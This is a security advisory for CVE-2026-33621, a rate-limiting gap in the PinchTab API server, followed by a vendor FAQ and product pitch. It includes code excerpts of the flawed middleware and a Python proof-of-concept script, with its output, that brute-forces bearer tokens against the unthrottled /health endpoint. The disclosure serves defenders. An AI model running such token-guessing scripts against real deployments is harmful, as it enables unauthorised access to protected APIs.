CVE-2026-33621

PinchTab v0.7.7 through v0.8.4 contain incomplete request-throttling protections for auth-checkable endpoints. In v0.7.7 through v0.8.3, a fully implemented RateLimitMiddleware existed in internal/handlers/middleware.go but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.

In the same pre-v0.8.4 range, the original limiter also keyed clients using X-Forwarded-For, which would have allowed client-controlled header spoofing if the middleware had been enabled. v0.8.4 addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted /health and /metrics from rate limiting even though /health remained an auth-checkable endpoint when a token was configured.

This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses 127.0.0.1 plus a generated random token in the recommended setup.

PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.

This was fully addressed in v0.8.5 by applying RateLimitMiddleware in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the /health and /metrics exemption so auth-checkable endpoints are throttled as well.

Details

Issue 1, Middleware never applied in v0.7.7 through v0.8.3:
The production server wrapped the HTTP mux without RateLimitMiddleware:

// internal/server/server.go, v0.8.3
handlers.LoggingMiddleware(
    handlers.CorsMiddleware(
        handlers.AuthMiddleware(cfg, mux),
        // RateLimitMiddleware is not present here in v0.8.3
    ),
)

The function exists and is fully implemented:

// internal/handlers/middleware.go, v0.8.3
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // ... 120 req / 10s logic ...
    })
}

Because RateLimitMiddleware was never referenced from the production handler chain in v0.7.7 through v0.8.3, the intended request throttling was inactive in those releases.

Issue 2, X-Forwarded-For trust in the original limiter (v0.7.7 through v0.8.3):
Even if the middleware had been applied, the original IP identification was bypassable:

// internal/handlers/middleware.go, v0.8.3
host, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
    // No validation that request came from a trusted proxy
    // Client can set this header to any value
    host = strings.TrimSpace(strings.Split(xff, ",")[0])
}
// host is now client-influenced, rate limit key is spoofable

In v0.7.7 through v0.8.3, if the limiter had been enabled, a client could have influenced the rate-limit key through X-Forwarded-For. This made the original limiter unsuitable without an explicit trusted-proxy model.

Issue 3, /health and /metrics remained exempt through v0.8.4:
v0.8.4 wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for /health and /metrics:

// internal/handlers/middleware.go, v0.8.4
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        p := strings.TrimSpace(r.URL.Path)
        if p == "/health" || p == "/metrics" || strings.HasPrefix(p, "/health/") || strings.HasPrefix(p, "/metrics/") {
            next.ServeHTTP(w, r)
            return
        }
        host := authn.ClientIP(r)
        // ...
    })
}

That left GET /health unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through v0.8.4.

PoC

This PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example password.

PoC Code

#!/usr/bin/env python3
# brute_force_poc.py, demonstrates unthrottled token guessing on /health
import urllib.request, urllib.error, time, sys

TARGET   = "http://localhost:9867/health"
WORDLIST = [f"wrong-{i:03d}" for i in range(150)] + ["password"]
counts = {}

print(f"[*] Brute-forcing {TARGET}, no rate limit protection")
start = time.time()
for token in WORDLIST:
    req = urllib.request.Request(TARGET)
    req.add_header("Authorization", f"Bearer {token}")
    try:
        with urllib.request.urlopen(req, timeout=5) as r:
            print(f"[+] FOUND: token={token!r}  HTTP={r.status}")
            counts[r.status] = counts.get(r.status, 0) + 1
            sys.exit(0)
    except urllib.error.HTTPError as e:
        print(f"[-] token={token!r}  HTTP={e.code}")
        counts[e.code] = counts.get(e.code, 0) + 1

elapsed = time.time() - start
print(f"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s, "
      f"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)")
print(f"[*] status counts: {counts}")

After run

python3 ratelimit.py
[*] Brute-forcing http://localhost:9867/health, no rate limit protection
[-] token='wrong-000'  HTTP=401
...
[-] token='wrong-149'  HTTP=401
[+] FOUND: token='password'  HTTP=200
[*] 151 attempts in 0.84s, 180 req/s  (no 429 received)
[*] status counts: {401: 150, 200: 1}

Observation:

1. In v0.7.7 through v0.8.3, rapid requests do not return HTTP 429 because RateLimitMiddleware is not active in production.
2. In v0.8.4, the same /health PoC still does not return HTTP 429 because /health is explicitly exempted from rate limiting.
3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.
4. The original X-Forwarded-For behavior in v0.7.7 through v0.8.3 shows that the first limiter design would not have been safe to rely on behind untrusted clients.
5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.

Suggested Remediation

1. Apply RateLimitMiddleware in the production handler chain for authenticated routes.
2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.
3. Do not exempt auth-checkable endpoints such as /health and /metrics from rate limiting.
4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.

Screenshot capture

1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.
2. Loss of the intended per-IP throttling for burst requests against protected endpoints in v0.7.7 through v0.8.3, and against /health in v0.8.4.
3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.
4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-33621 has a CVSS score of 4.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33621? CVE-2026-33621 is a medium-severity allocation of resources without limits or throttling vulnerability in github.com/pinchtab/pinchtab (go), affecting versions >= 0.7.7, < 0.8.5. It is fixed in 0.8.5. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2026-33621? CVE-2026-33621 has a CVSS score of 4.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/pinchtab/pinchtab are affected by CVE-2026-33621? github.com/pinchtab/pinchtab (go) versions >= 0.7.7, < 0.8.5 is affected.
4. Is there a fix for CVE-2026-33621? Yes. CVE-2026-33621 is fixed in 0.8.5. Upgrade to this version or later.
5. Is CVE-2026-33621 exploitable, and should I be worried? Whether CVE-2026-33621 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33621 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33621? Upgrade github.com/pinchtab/pinchtab to 0.8.5 or later.